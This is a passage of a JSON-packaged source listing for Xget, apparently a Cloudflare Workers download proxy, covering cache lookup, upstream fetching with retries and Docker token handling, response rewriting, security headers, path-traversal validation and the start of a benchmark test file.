  },
  {
    "path": "src/upstream/cache.js",
    "content": "/**\n * Cache helpers for upstream request handling.\n */\n\n/**\n * Reads the default Cloudflare cache when available.\n * @returns {Cache | null} Default runtime cache, or null when unavailable.\n */\nexport function getDefaultCache() {\n  // @ts-ignore - Cloudflare Workers cache API\n  return typeof caches !== 'undefined' && /** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type\n    ? // @ts-ignore - Cloudflare Workers cache API\n      /** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type\n    : null;\n}\n\n/**\n * Attempts to satisfy a request from cache before reaching the upstream.\n * @param {{\n *   cache: Cache | null,\n *   cacheTargetUrl: string,\n *   canUseCache: boolean,\n *   hasSensitiveHeaders: boolean,\n *   monitor: import('../utils/performance.js').PerformanceMonitor,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean\n *   }\n * }} options\n * @returns {Promise<Response | null>} Cached response when one can be reused, otherwise null.\n */\nexport async function tryReadCachedResponse({\n  cache,\n  cacheTargetUrl,\n  canUseCache,\n  hasSensitiveHeaders,\n  monitor,\n  request,\n  requestContext\n}) {\n  const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext;\n\n  if (\n    !cache ||\n    !canUseCache ||\n    isGit ||\n    isGitLFS ||\n    isDocker ||\n    isAI ||\n    isHF ||\n    hasSensitiveHeaders\n  ) {\n    return null;\n  }\n\n  try {\n    const cacheKey = new Request(cacheTargetUrl, {\n      method: 'GET',\n      headers: request.headers\n    });\n    const cachedResponse = await cache.match(cacheKey);\n    if (cachedResponse) {\n      monitor.mark('cache_hit');\n      return cachedResponse;\n    }\n\n    const rangeHeader = request.headers.get('Range');\n    if (!rangeHeader) {\n      return null;\n    }\n\n    const fullContentKey = new Request(cacheTargetUrl, {\n      method: 'GET',\n      headers: new Headers(\n        [...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range')\n      )\n    });\n    const fullCachedResponse = await cache.match(fullContentKey);\n    if (fullCachedResponse) {\n      monitor.mark('cache_hit_full_content');\n      return fullCachedResponse;\n    }\n  } catch (cacheError) {\n    console.warn('Cache API unavailable:', cacheError);\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "src/upstream/fetch-upstream.js",
    "content": "import { configureAIHeaders } from '../protocols/ai.js';\nimport {\n  fetchToken,\n  getScopeFromUrl,\n  parseAuthenticate,\n  readRegistryTokenResponse,\n  responseUnauthorized\n} from '../protocols/docker.js';\nimport { configureGitHeaders } from '../protocols/git.js';\nimport { configureHuggingFaceHeaders } from '../protocols/huggingface.js';\nimport { createErrorResponse } from '../utils/security.js';\n\nconst MEDIA_FILE_PATTERN =\n  /\\.(mp4|avi|mkv|mov|wmv|flv|webm|mp3|wav|flac|aac|ogg|jpg|jpeg|png|gif|bmp|svg|pdf|zip|rar|7z|tar|gz|bz2|xz)$/i;\n\n/**\n * Creates upstream fetch options for the current request.\n * @param {{\n *   authorization: string | null,\n *   canUseCache: boolean,\n *   config: import('../config/index.js').ApplicationConfig,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean,\n *     url: URL\n *   },\n *   shouldPassthroughRequest: boolean,\n *   targetUrl: string\n * }} options\n * @returns {{ fetchOptions: RequestInit, requestHeaders: Headers }} Fetch options and mutable headers.\n */\nfunction createFetchOptions({\n  authorization,\n  canUseCache,\n  config,\n  request,\n  requestContext,\n  shouldPassthroughRequest,\n  targetUrl\n}) {\n  const { isAI, isGit, isGitLFS, isHF, url } = requestContext;\n\n  /** @type {RequestInit} */\n  const fetchOptions = {\n    method: request.method,\n    headers: new Headers(),\n    redirect: 'follow'\n  };\n\n  if (request.body !== null && !canUseCache) {\n    fetchOptions.body = request.body;\n  }\n\n  const requestHeaders = /** @type {Headers} */ (fetchOptions.headers);\n\n  if (shouldPassthroughRequest) {\n    for (const [key, value] of request.headers.entries()) {\n      if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) {\n        requestHeaders.set(key, value);\n      }\n    }\n\n    if (isGit || isGitLFS) {\n      configureGitHeaders(requestHeaders, request, url, isGitLFS);\n    }\n\n    if (isAI) {\n      configureAIHeaders(requestHeaders, request);\n    }\n\n    if (isHF) {\n      configureHuggingFaceHeaders(requestHeaders, request);\n    }\n\n    return { fetchOptions, requestHeaders };\n  }\n\n  Object.assign(fetchOptions, {\n    cf: {\n      http3: true,\n      cacheTtl: config.CACHE_DURATION,\n      cacheEverything: true,\n      preconnect: true\n    }\n  });\n\n  requestHeaders.set('Accept-Encoding', 'gzip, deflate, br');\n  requestHeaders.set('Connection', 'keep-alive');\n  requestHeaders.set('User-Agent', 'Wget/1.21.3');\n\n  const origin = request.headers.get('Origin');\n  if (origin) {\n    requestHeaders.set('Origin', origin);\n  }\n\n  if (authorization) {\n    requestHeaders.set('Authorization', authorization);\n  }\n\n  const rangeHeader = request.headers.get('Range');\n  if (MEDIA_FILE_PATTERN.test(targetUrl) || rangeHeader) {\n    requestHeaders.set('Accept-Encoding', 'identity');\n  }\n\n  if (rangeHeader) {\n    requestHeaders.set('Range', rangeHeader);\n  }\n\n  return { fetchOptions, requestHeaders };\n}\n\n/**\n * Follows a Docker redirect without forwarding credentials to the redirected host.\n * @param {Response} response\n * @param {string} targetUrl\n * @param {RequestInit} finalFetchOptions\n * @returns {Promise<Response>} Redirect-followed response, or the original response when no redirect is needed.\n */\nasync function followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions) {\n  if (\n    response.status !== 301 &&\n    response.status !== 302 &&\n    response.status !== 303 &&\n    response.status !== 307 &&\n    response.status !== 308\n  ) {\n    return response;\n  }\n\n  const location = response.headers.get('Location');\n  if (!location) {\n    return response;\n  }\n\n  const redirectHeaders = new Headers(finalFetchOptions.headers);\n  redirectHeaders.delete('Authorization');\n\n  const redirectOptions = /** @type {RequestInit} */ ({\n    ...finalFetchOptions,\n    headers: redirectHeaders,\n    redirect: 'follow'\n  });\n\n  return await fetch(new URL(location, targetUrl), redirectOptions);\n}\n\n/**\n * Executes the upstream fetch, including HEAD fallback probing and Docker redirect handling.\n * @param {{\n *   fetchOptions: RequestInit,\n *   request: Request,\n *   requestContext: {\n *     isDocker: boolean\n *   },\n *   requestHeaders: Headers,\n *   targetUrl: string\n * }} options\n * @returns {Promise<Response>} Upstream response.\n */\nasync function executeFetch({ fetchOptions, request, requestContext, requestHeaders, targetUrl }) {\n  const finalFetchOptions = /** @type {RequestInit} */ ({\n    ...fetchOptions,\n    signal: /** @type {AbortSignal} */ (fetchOptions.signal)\n  });\n\n  if (requestContext.isDocker) {\n    finalFetchOptions.redirect = 'manual';\n  }\n\n  let response;\n  if (request.method === 'HEAD') {\n    response = await fetch(targetUrl, finalFetchOptions);\n\n    if (response.ok && !response.headers.get('Content-Length')) {\n      const rangeHeaders = new Headers(requestHeaders);\n      rangeHeaders.set('Range', 'bytes=0-0');\n\n      const rangeResponse = await fetch(targetUrl, {\n        ...finalFetchOptions,\n        method: 'GET',\n        headers: rangeHeaders\n      });\n\n      let contentLength = null;\n\n      if (rangeResponse.status === 206) {\n        const contentRange = rangeResponse.headers.get('Content-Range');\n        if (contentRange) {\n          const match = contentRange.match(/bytes\\s+\\d+-\\d+\\/(\\d+)/);\n          if (match) {\n            [, contentLength] = match;\n          }\n        }\n      } else if (rangeResponse.ok) {\n        contentLength = rangeResponse.headers.get('Content-Length');\n      }\n\n      if (contentLength) {\n        const headHeaders = new Headers(response.headers);\n        headHeaders.set('Content-Length', contentLength);\n        response = new Response(null, {\n          status: response.status,\n          statusText: response.statusText,\n          headers: headHeaders\n        });\n      }\n    }\n  } else {\n    response = await fetch(targetUrl, finalFetchOptions);\n  }\n\n  if (requestContext.isDocker) {\n    response = await followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions);\n  }\n\n  return response;\n}\n\n/**\n * Retries a Docker request with an anonymous bearer token when the registry challenges first.\n * @param {{\n *   effectivePath: string,\n *   platform: string,\n *   requestHeaders: Headers,\n *   requestContext: {\n *     isDocker: boolean,\n *     url: URL\n *   },\n *   response: Response,\n *   targetUrl: string,\n *   finalFetchOptions: RequestInit\n * }} options\n * @returns {Promise<Response>} Successful retried response, or a synthesized auth challenge response.\n */\nasync function retryDockerWithAnonymousToken({\n  effectivePath,\n  finalFetchOptions,\n  platform,\n  requestContext,\n  requestHeaders,\n  response,\n  targetUrl\n}) {\n  const authenticateStr = response.headers.get('WWW-Authenticate');\n  const scope = getScopeFromUrl(requestContext.url, effectivePath, platform);\n\n  if (authenticateStr) {\n    try {\n      const wwwAuthenticate = parseAuthenticate(authenticateStr);\n      const tokenResponse = await fetchToken(wwwAuthenticate, scope || '', '');\n\n      if (tokenResponse.ok) {\n        const token = await readRegistryTokenResponse(tokenResponse);\n        if (token) {\n          const retryHeaders = new Headers(requestHeaders);\n          retryHeaders.set('Authorization', `Bearer ${token}`);\n\n          const retryOptions = /** @type {RequestInit} */ ({\n            ...finalFetchOptions,\n            headers: retryHeaders,\n            redirect: 'manual'\n          });\n\n          let retryResponse = await fetch(targetUrl, retryOptions);\n          retryResponse = await followDockerRedirectIfNeeded(\n            retryResponse,\n            targetUrl,\n            retryOptions\n          );\n\n          if (retryResponse.ok) {\n            return retryResponse;\n          }\n        }\n      }\n    } catch (error) {\n      console.warn('Token fetch failed:', error);\n    }\n  }\n\n  return responseUnauthorized(requestContext.url, platform);\n}\n\n/**\n * Fetches an upstream resource with retries and protocol-specific handling.\n * @param {{\n *   authorization: string | null,\n *   canUseCache: boolean,\n *   config: import('../config/index.js').ApplicationConfig,\n *   effectivePath: string,\n *   monitor: import('../utils/performance.js').PerformanceMonitor,\n *   platform: string,\n *   request: Request,\n *   requestContext: {\n *     isAI: boolean,\n *     isDocker: boolean,\n *     isGit: boolean,\n *     isGitLFS: boolean,\n *     isHF: boolean,\n *     url: URL\n *   },\n *   shouldPassthroughRequest: boolean,\n *   targetUrl: string\n * }} options\n * @returns {Promise<{ response: Response, responseGeneratedLocally: boolean }>} Upstream or synthesized response.\n */\nexport async function fetchUpstreamResponse({\n  authorization,\n  canUseCache,\n  config,\n  effectivePath,\n  monitor,\n  platform,\n  request,\n  requestContext,\n  shouldPassthroughRequest,\n  targetUrl\n}) {\n  let response;\n  let responseGeneratedLocally = false;\n  const { fetchOptions, requestHeaders } = createFetchOptions({\n    authorization,\n    canUseCache,\n    config,\n    request,\n    requestContext,\n    shouldPassthroughRequest,\n    targetUrl\n  });\n\n  let attempts = 0;\n  while (attempts < config.MAX_RETRIES) {\n    /** @type {ReturnType<typeof setTimeout> | undefined} */\n    let timeoutId;\n\n    try {\n      monitor.mark(`attempt_${attempts}`);\n\n      const controller = new AbortController();\n      timeoutId = setTimeout(() => controller.abort(), config.TIMEOUT_SECONDS * 1000);\n\n      fetchOptions.signal = controller.signal;\n      response = await executeFetch({\n        fetchOptions,\n        request,\n        requestContext,\n        requestHeaders,\n        targetUrl\n      });\n\n      if (response.ok || response.status === 206) {\n        monitor.mark('success');\n        break;\n      }\n\n      if (requestContext.isDocker && response.status === 401) {\n        monitor.mark('docker_auth_challenge');\n        response = await retryDockerWithAnonymousToken({\n          effectivePath,\n          finalFetchOptions: fetchOptions,\n          platform,\n          requestContext,\n          requestHeaders,\n          response,\n          targetUrl\n        });\n\n        if (response.ok) {\n          monitor.mark('success');\n        }\n        break;\n      }\n\n      if (response.status >= 400 && response.status < 500) {\n        monitor.mark('client_error');\n        break;\n      }\n\n      attempts++;\n      if (attempts < config.MAX_RETRIES) {\n        await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts));\n      }\n    } catch (error) {\n      attempts++;\n      if (error instanceof Error && error.name === 'AbortError') {\n        response = createErrorResponse('Request timeout', 408);\n        responseGeneratedLocally = true;\n        break;\n      }\n\n      if (attempts >= config.MAX_RETRIES) {\n        response = createErrorResponse('Upstream request failed', 502);\n        responseGeneratedLocally = true;\n        break;\n      }\n\n      await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts));\n    } finally {\n      if (timeoutId !== undefined) {\n        clearTimeout(timeoutId);\n      }\n    }\n  }\n\n  if (!response) {\n    response = createErrorResponse('No response received after all retry attempts', 500);\n    responseGeneratedLocally = true;\n  }\n\n  return { response, responseGeneratedLocally };\n}\n"
  },
  {
    "path": "src/utils/performance.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Performance monitoring utilities for Xget\n */\n\nimport { addSecurityHeaders } from './security.js';\n\n/**\n * Monitors performance metrics during request processing.\n *\n * This class tracks timing information throughout request handling lifecycle,\n * allowing measurement of cache hits, upstream fetch attempts, and total processing time.\n */\nexport class PerformanceMonitor {\n  /**\n   * Initializes a new performance monitor.\n   *\n   * Sets the start time to the current timestamp and creates an empty marks collection.\n   * All subsequent timing marks will be relative to this start time.\n   */\n  constructor() {\n    this.startTime = Date.now();\n    this.marks = new Map();\n  }\n\n  /**\n   * Marks a timing point with the given name.\n   *\n   * Records the elapsed time (in milliseconds) since the monitor was created.\n   * If a mark with the same name already exists, logs a warning and overwrites it.\n   * @param {string} name - The name of the timing mark (e.g., 'cache_hit', 'attempt_0', 'success')\n   */\n  mark(name) {\n    if (this.marks.has(name)) {\n      console.warn(`Mark with name ${name} already exists.`);\n    }\n    this.marks.set(name, Date.now() - this.startTime);\n  }\n\n  /**\n   * Returns all collected metrics as a plain object.\n   *\n   * Converts the internal Map of timing marks to a JavaScript object suitable for\n   * JSON serialization and inclusion in response headers.\n   * @returns {{ [key: string]: number }} Object containing name-timestamp pairs in milliseconds\n   */\n  getMetrics() {\n    return Object.fromEntries(this.marks.entries());\n  }\n}\n\n/**\n * Adds performance metrics to response headers.\n *\n * Creates a new response with an X-Performance-Metrics header containing\n * timing data from the PerformanceMonitor instance. Also ensures security\n * headers are included.\n *\n * **Note:** This header is only added to non-protocol responses (not Git/Docker/AI).\n * @param {Response} response - The original response object\n * @param {PerformanceMonitor} monitor - Performance monitor instance with collected metrics\n * @returns {Response} New response with added performance and security headers\n */\nexport function addPerformanceHeaders(response, monitor) {\n  const headers = new Headers(response.headers);\n  headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics()));\n  addSecurityHeaders(headers);\n  return new Response(response.body, {\n    status: response.status,\n    headers\n  });\n}\n"
  },
  {
    "path": "src/utils/rewrite.js",
    "content": "/**\n * Xget - Platform-specific upstream response rewriting helpers.\n */\n\nconst FLATHUB_REPO_BASE_URL_PATTERN = /https:\\/\\/(?:dl\\.)?flathub\\.org\\/repo\\//g;\nconst FLATPAK_REFERENCE_FILE_PATTERN = /\\.(flatpakrepo|flatpakref)$/i;\n\n/**\n * Checks whether a successful upstream response should be rewritten before returning it.\n * @param {string} platform\n * @param {string} requestPath\n * @param {string} contentType\n * @returns {boolean} True when the upstream response body should be rewritten.\n */\nexport function shouldRewriteTextResponse(platform, requestPath, contentType = '') {\n  if (platform === 'pypi') {\n    return contentType.includes('text/html');\n  }\n\n  if (platform === 'npm') {\n    return contentType.includes('application/json');\n  }\n\n  if (platform === 'flathub') {\n    return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath);\n  }\n\n  return false;\n}\n\n/**\n * Checks whether a request path points to a Flatpak descriptor file.\n * @param {string} requestPath\n * @returns {boolean} True when the request targets a `.flatpakrepo` or `.flatpakref` file.\n */\nexport function isFlatpakReferenceFilePath(requestPath) {\n  return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath);\n}\n\n/**\n * Rewrites upstream text responses so follow-up requests continue flowing through Xget.\n * @param {string} platform\n * @param {string} requestPath\n * @param {string} originalText\n * @param {string} origin\n * @returns {string} Rewritten response text.\n */\nexport function rewriteTextResponse(platform, requestPath, originalText, origin) {\n  if (platform === 'pypi') {\n    return originalText.replace(/https:\\/\\/files\\.pythonhosted\\.org/g, `${origin}/pypi/files`);\n  }\n\n  if (platform === 'npm') {\n    return originalText.replace(/https:\\/\\/registry\\.npmjs\\.org\\/([^/]+)/g, `${origin}/npm/$1`);\n  }\n\n  if (platform === 'flathub' && isFlatpakReferenceFilePath(requestPath)) {\n    return originalText.replace(FLATHUB_REPO_BASE_URL_PATTERN, `${origin}/flathub/repo/`);\n  }\n\n  return originalText;\n}\n"
  },
  {
    "path": "src/utils/security.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Security utility functions for Xget\n */\n\n/**\n * Resolves the allowed CORS origin for the current request.\n * @param {Request} request\n * @param {import('../config/index.js').ApplicationConfig} config\n * @returns {string | null} Allowed origin value for the response, or null if not allowed.\n */\nexport function resolveAllowedOrigin(request, config) {\n  const origin = request.headers.get('Origin');\n  if (!origin) {\n    return null;\n  }\n\n  const allowedOrigins = config.SECURITY.ALLOWED_ORIGINS;\n  if (allowedOrigins.includes('*')) {\n    return '*';\n  }\n\n  return allowedOrigins.includes(origin) ? origin : null;\n}\n\n/**\n * Applies CORS headers to a response when the request origin is allowed.\n * @param {Headers} headers\n * @param {Request} request\n * @param {import('../config/index.js').ApplicationConfig} config\n * @returns {Headers} The same headers object with CORS headers applied when permitted.\n */\nexport function addCorsHeaders(headers, request, config) {\n  const allowedOrigin = resolveAllowedOrigin(request, config);\n  if (!allowedOrigin) {\n    return headers;\n  }\n\n  headers.set('Access-Control-Allow-Origin', allowedOrigin);\n  headers.set('Access-Control-Allow-Methods', config.SECURITY.ALLOWED_METHODS.join(', '));\n\n  const requestedHeaders = request.headers.get('Access-Control-Request-Headers');\n  if (requestedHeaders) {\n    headers.set('Access-Control-Allow-Headers', requestedHeaders);\n  }\n\n  const vary = new Set(\n    (headers.get('Vary') || '')\n      .split(',')\n      .map(value => value.trim())\n      .filter(Boolean)\n  );\n  vary.add('Origin');\n  headers.set('Vary', Array.from(vary).join(', '));\n\n  return headers;\n}\n\n/**\n * Adds comprehensive security headers to response headers.\n *\n * applies industry-standard security headers including:\n * - HSTS (HTTP Strict Transport Security)\n * - X-Frame-Options (clickjacking protection)\n * - X-XSS-Protection (XSS filter)\n * - Referrer-Policy (referrer information control)\n * - Content-Security-Policy (resource loading restrictions)\n * - Permissions-Policy (privacy-invasive feature restrictions)\n * @param {Headers} headers - Headers object to modify (mutates in place)\n * @returns {Headers} Modified headers object (same reference)\n */\nexport function addSecurityHeaders(headers) {\n  headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');\n  headers.set('X-Frame-Options', 'DENY');\n  headers.set('X-XSS-Protection', '1; mode=block');\n  headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');\n  headers.set('Content-Security-Policy', \"default-src 'none'; img-src 'self'; script-src 'none'\");\n  headers.set('Permissions-Policy', 'interest-cohort=()');\n  return headers;\n}\n\n/**\n * Creates a standardized error response with security headers.\n *\n * Generates an HTTP error response with appropriate content type and security headers.\n * Can return either plain text or detailed JSON error format.\n * @param {string} message - Error message to display\n * @param {number} status - HTTP status code (e.g., 400, 404, 500)\n * @param {boolean} includeDetails - Whether to include detailed JSON error information\n * @returns {Response} Error response with security headers\n */\nexport function createErrorResponse(message, status, includeDetails = false) {\n  const errorBody = includeDetails\n    ? JSON.stringify({ error: message, status, timestamp: new Date().toISOString() })\n    : message;\n\n  return new Response(errorBody, {\n    status,\n    headers: addSecurityHeaders(\n      new Headers({\n        'Content-Type': includeDetails ? 'application/json' : 'text/plain'\n      })\n    )\n  });\n}\n"
  },
  {
    "path": "src/utils/validation.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Request validation utilities for Xget\n */\n\nimport { CONFIG } from '../config/index.js';\n\n// Imported protocol checks\nimport { isAIInferenceRequest } from '../protocols/ai.js';\nimport { isGitLFSRequest, isGitRequest } from '../protocols/git.js';\nimport { isHuggingFaceAPIRequest } from '../protocols/huggingface.js';\n\n/**\n * Computes protocol and request traits used across validation, routing, and response handling.\n * @param {Request} request\n * @param {URL} url\n * @returns {{\n *   isAI: boolean,\n *   isDocker: boolean,\n *   isGit: boolean,\n *   isGitLFS: boolean,\n *   isHF: boolean\n * }} Request traits for the current request.\n */\nexport function getRequestTraits(request, url) {\n  return {\n    isAI: isAIInferenceRequest(request, url),\n    isDocker: isDockerRequest(request, url),\n    isGit: isGitRequest(request, url),\n    isGitLFS: isGitLFSRequest(request, url),\n    isHF: isHuggingFaceAPIRequest(request, url)\n  };\n}\n\n/**\n * Checks whether a request should use protocol passthrough behavior.\n * @param {{\n *   isAI: boolean,\n *   isDocker: boolean,\n *   isGit: boolean,\n *   isGitLFS: boolean,\n *   isHF: boolean\n * }} traits\n * @returns {boolean} True when request handling should follow protocol passthrough rules.\n */\nexport function isProtocolRequest(traits) {\n  return traits.isGit || traits.isGitLFS || traits.isDocker || traits.isAI || traits.isHF;\n}\n\n/**\n * Best-effort decode for security validation.\n *\n * URL.pathname may keep some reserved characters percent-encoded (e.g. %2F).\n * We decode a couple of times to catch traversal attempts like %2e%2e%2f.\n * @param {string} pathname\n * @returns {{ok: true, value: string} | {ok: false}} Decoded path result\n */\nfunction decodePathnameForValidation(pathname) {\n  let decoded = pathname;\n  for (let i = 0; i < 2; i++) {\n    if (!/%[0-9a-fA-F]{2}/.test(decoded)) {\n      break;\n    }\n    try {\n      decoded = decodeURIComponent(decoded);\n    } catch {\n      return { ok: false };\n    }\n  }\n  return { ok: true, value: decoded };\n}\n\n/**\n * Detects directory traversal patterns in a URL path.\n * @param {string} pathname\n * @returns {boolean} True if traversal is detected\n */\nfunction hasPathTraversal(pathname) {\n  const decodedResult = decodePathnameForValidation(pathname);\n  if (!decodedResult.ok) {\n    return true;\n  }\n\n  const decoded = decodedResult.value.replace(/\\\\/g, '/');\n  return /(^|\\/)\\.\\.(\\/|$)/.test(decoded);\n}\n\n/**\n * Checks for ASCII control characters.\n * @param {string} value\n * @returns {boolean} True if ASCII control chars are present\n */\nfunction hasAsciiControlChars(value) {\n  for (let i = 0; i < value.length; i++) {\n    const code = value.charCodeAt(i);\n    if (code <= 31 || code === 127) {\n      return true;\n    }\n  }\n  return false;\n}\n\n/**\n * Detects if a request is a container registry operation (Docker/OCI).\n *\n * Identifies Docker and OCI registry requests by checking for:\n * - Registry API endpoints (/v2/...)\n * - Docker-specific User-Agent headers\n * - Docker/OCI manifest Accept headers\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @returns {boolean} True if this is a container registry operation\n */\nexport function isDockerRequest(request, url) {\n  const { pathname } = url;\n\n  // Check for container registry API endpoints\n  if (pathname === '/v2' || pathname === '/v2/' || pathname.startsWith('/v2/')) {\n    return true;\n  }\n\n  if (pathname.startsWith('/cr/')) {\n    if (/^\\/cr\\/[^/]+\\/v2(?:\\/|$)/.test(pathname)) {\n      return true;\n    }\n\n    const userAgent = request.headers.get('User-Agent') || '';\n    if (userAgent.toLowerCase().includes('docker/')) {\n      return true;\n    }\n\n    const accept = request.headers.get('Accept') || '';\n    if (\n      accept.includes('application/vnd.docker.distribution.manifest') ||\n      accept.includes('application/vnd.oci.image.manifest') ||\n      accept.includes('application/vnd.docker.image.rootfs.diff.tar.gzip')\n    ) {\n      return true;\n    }\n\n    const contentType = request.headers.get('Content-Type') || '';\n    if (\n      contentType.includes('application/vnd.docker.distribution.manifest') ||\n      contentType.includes('application/vnd.oci.image.manifest')\n    ) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n// Re-export for standard usage\nexport { isAIInferenceRequest, isGitLFSRequest, isGitRequest, isHuggingFaceAPIRequest };\n\n/**\n * Computes the allowed methods for a request based on protocol detection.\n * @param {Request} request\n * @param {URL} url\n * @param {import('../config/index.js').ApplicationConfig} config\n * @returns {string[]} Allowed HTTP methods for this request shape.\n */\nexport function getAllowedMethods(request, url, config = CONFIG) {\n  const traits = getRequestTraits(request, url);\n\n  return isProtocolRequest(traits)\n    ? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE']\n    : config.SECURITY.ALLOWED_METHODS;\n}\n\n/**\n * Validates incoming requests against security rules.\n *\n * Performs security validation including:\n * - HTTP method validation (with special allowances for protocol-specific operations)\n * - URL path length limits\n *\n * Different protocols have different allowed methods:\n * - Regular requests: GET, HEAD (configurable via SECURITY.ALLOWED_METHODS)\n * - Git/LFS/Docker/AI/Hugging Face API: GET, HEAD, POST, PUT, PATCH, DELETE\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @param {import('../config/index.js').ApplicationConfig} config - Configuration object\n * @param {{\n *   isAI: boolean,\n *   isDocker: boolean,\n *   isGit: boolean,\n *   isGitLFS: boolean,\n *   isHF: boolean\n * }} traits - Pre-computed request traits to avoid repeated protocol detection.\n * @returns {{valid: boolean, error?: string, status?: number}} Validation result object\n */\nexport function validateRequest(\n  request,\n  url,\n  config = CONFIG,\n  traits = getRequestTraits(request, url)\n) {\n  const allowedMethods = isProtocolRequest(traits)\n    ? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE']\n    : config.SECURITY.ALLOWED_METHODS;\n\n  if (!allowedMethods.includes(request.method)) {\n    return { valid: false, error: 'Method not allowed', status: 405 };\n  }\n\n  if (url.pathname.length > config.SECURITY.MAX_PATH_LENGTH) {\n    return { valid: false, error: 'Path too long', status: 414 };\n  }\n\n  // Reject obvious traversal in the raw URL path (before URL normalization).\n  // Some runtimes normalize `..` segments when parsing URL.pathname.\n  const rawPathname = request.url.startsWith(url.origin)\n    ? request.url.slice(url.origin.length).split('?')[0].split('#')[0].replace(/\\\\/g, '/')\n    : url.pathname;\n\n  if (/(^|\\/)\\.\\.(\\/|$)/.test(rawPathname)) {\n    return { valid: false, error: 'Invalid path', status: 400 };\n  }\n\n  // Reject control characters and directory traversal attempts.\n  // This protects both our routing logic and upstream requests.\n  if (hasAsciiControlChars(url.pathname)) {\n    return { valid: false, error: 'Invalid path', status: 400 };\n  }\n\n  if (hasPathTraversal(url.pathname)) {\n    return { valid: false, error: 'Invalid path', status: 400 };\n  }\n\n  return { valid: true };\n}\n"
  },
  {
    "path": "test/benchmark/performance.bench.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { bench, describe } from 'vitest';\nimport { TEST_URLS } from '../helpers/test-utils.js';\n\ndescribe('Performance Benchmarks', () => {\n  describe('Request Processing Speed', () => {\n    bench('Basic request handling', async () => {\n      await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'HEAD'\n      });\n    });\n\n    bench('GitHub file request', async () => {\n      await SELF.fetch(TEST_URLS.github.file, {\n        method: 'HEAD'\n      });\n    });\n\n    bench('GitLab file request', async () => {\n      await SELF.fetch(TEST_URLS.gitlab.file, {\n        method: 'HEAD'\n      });\n    });\n\n    bench('Hugging Face model request', async () => {\n      await SELF.fetch(TEST_URLS.huggingface.model, {\n        method: 'HEAD'\n      });\n    });\n\n    bench('npm package request', async () => {\n      await SELF.fetch(TEST_URLS.npm.package, {\n        method: 'HEAD'\n      });\n    });\n\n    bench('PyPI package request', async () => {\n      await SELF.fetch(TEST_URLS.pypi.simple, {\n        method: 'HEAD'\n      });\n    });\n\n    bench('conda package request', async () => {\n      await SELF.fetch(TEST_URLS.conda.main, {\n        method: 'HEAD'\n      });\n    });\n  });\n\n  describe('Git Protocol Performance', () => {\n    bench('Git info/refs request', async () => {\n      await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {\n        headers: {\n          'User-Agent': 'git/2.34.1'\n        }\n      });\n    });\n\n    bench('Git upload-pack request', async () => {\n      await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {\n        method: 'POST',\n        headers: {\n          'User-Agent': 'git/2.34.1',\n          'Content-Type': 'application/x-git-upload-pack-request'\n        },\n        body: '0000'\n      });\n    });\n  });\n\n  describe('Security Header Processing', () => {\n    bench('Security headers addition', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      // Verify headers are present (this adds to processing time)\n      response.headers.get('Strict-Transport-Security');\n      response.headers.get('X-Frame-Options');\n      response.headers.get('X-XSS-Protection');\n      